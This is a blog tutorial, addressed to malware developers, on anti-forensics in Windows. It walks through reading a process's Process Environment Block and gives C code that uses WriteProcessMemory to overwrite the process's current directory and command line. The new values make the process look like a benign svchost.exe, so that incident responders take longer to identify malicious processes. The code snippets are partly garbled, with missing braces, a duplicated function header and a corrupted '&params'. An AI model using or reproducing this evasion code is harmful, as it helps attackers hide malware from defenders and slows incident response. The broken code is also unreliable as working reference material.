Manipulating Process PEB for Antiforensic

Today, I would like to share a small tutorial and small code that to allow the adversaries to do a little antiforensic to their process. This technique allows the malware developer to hide their process to look like a legitimate process hence it will make the inciden responder to work harder to find or correlate things

What is Process PEB (Proess Environment Block)

Process Environment Block is user mode information that represent a process. When a process is created then a structure that will hold the process information will be created by the kernel. This structure contains useful information about the process such as the process name, process ID (PID), loaded modules (all PE files loaded in the memory including the program itself and its DLLs), and much more.

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PVOID                         Reserved4[3];
  PVOID                         AtlThunkSListPtr;
  PVOID                         Reserved5;
  ULONG                         Reserved6;
  PVOID                         Reserved7;
  ULONG                         Reserved8;
  ULONG                         AtlThunkSListPtr32;
  PVOID                         Reserved9[45];
  BYTE                          Reserved10[96];
  BYTE                          Reserved11[128];
  PVOID                         Reserved12[1];
  ULONG                         SessionId;

The actual implementation of the above data structure is the information that we gathered in task manager or process hacker

Manipulating PEB

The very basic steps of identifying malicious process are by identifying the current path of the process being loaded from and the parameter during process creation. I highlighted them below

Those two information can be manipulated hence the inciden reponder will work harder to find our malcious process.

We can manipulate process PEB by getting the the structure from the process. Below is a simple function to get the PEB from a running process.

    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    PVOID ConsoleHandle;
    ULONG ConsoleFlags;
    PVOID StandardInput;
    PVOID StandardOutput;
    PVOID StandardError;
    CURDIR CurrentDirectory;
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
    PVOID Environment;
    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;
    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING RuntimeData;
    RTL_DRIVE_LETTER_CD CurrentDirs[32];
    ULONG EnvironmentSize;

RTL_USER_PROCESS_PARAMS GetProcessParameter(HANDLE hProc, mPEB &pebLocal) {

    DWORD retLen;
    SIZE_T bytesOut;
    RTL_USER_PROCESS_PARAMS params = { sizeof(params) };

    ProcessInformation pNtQueryInformationProcess = (ProcessInformation)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
    pNtQueryInformationProcess(hProc, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);

    // Read the PEB from the target process
    if (ReadProcessMemory(hProc, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesOut)) {
        ReadProcessMemory(hProc, pebLocal.ProcessParameters, ¶ms, sizeof(params), &bytesOut);
    return params; 

Once we got the pebLocal and the parameter then we can manipulate the information. Below is the snippet function to override the CurrentDirectory

#define NEW_CURRENT_DIRECTORY L"C:\\Windows\\System32\\"

bool AntiforensicUpdateCurrentDirectory(HANDLE hProc, RTL_USER_PROCESS_PARAMS &params, mPEB& pebLocal) {
    USHORT fakeSize = 0;
    SIZE_T bytesOut;

    // Update CurrentDirectory in remote PEB
    fakeSize = wcslen(NEW_CURRENT_DIRECTORY) * 2;
    if (params.CurrentDirectory.DosPath.Length >= fakeSize) {
        if (WriteProcessMemory(hProc, params.CurrentDirectory.DosPath.Buffer, (LPCVOID)NEW_CURRENT_DIRECTORY, sizeof(NEW_CURRENT_DIRECTORY), &bytesOut)) {
            if (WriteProcessMemory(hProc, (char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMS, CurrentDirectory.DosPath.Length), (void*)&fakeSize, 2, &bytesOut)) {

                return TRUE;
    return FALSE;

Below is the sample code to change the parameter of the application hence we can hide our malicious parameter. I created an application with the below parameter which obviously malicious.

With the function below, we can hide our malicious parameter with something benign

bool AntiForensicUpdateCommandLine(HANDLE hProc, RTL_USER_PROCESS_PARAMS& params, mPEB& pebLocal) {

#define NEW_COMMAND_LINE L"C:\\Windows\\System32\\svchost.exe -k benign"

bool AntiForensicUpdateCommandLine(HANDLE hProc, RTL_USER_PROCESS_PARAMS& params, mPEB& pebLocal) {

    USHORT fakeSize = 0;
    SIZE_T bytesOut;

    // Update CommandLine in remote PEB
    fakeSize = wcslen(NEW_COMMAND_LINE) * 2;
    if (params.CommandLine.Length >= fakeSize) {

        if (WriteProcessMemory(hProc, params.CommandLine.Buffer, (LPCVOID)NEW_COMMAND_LINE, sizeof(NEW_COMMAND_LINE), &bytesOut)) {
            if (WriteProcessMemory(hProc, (char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMS, CommandLine.Length), (void*)&fakeSize, 2, &bytesOut)) {
                return TRUE;
    return FALSE;

With the situation above, The Incident responder will need more time to their memory forensic.

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s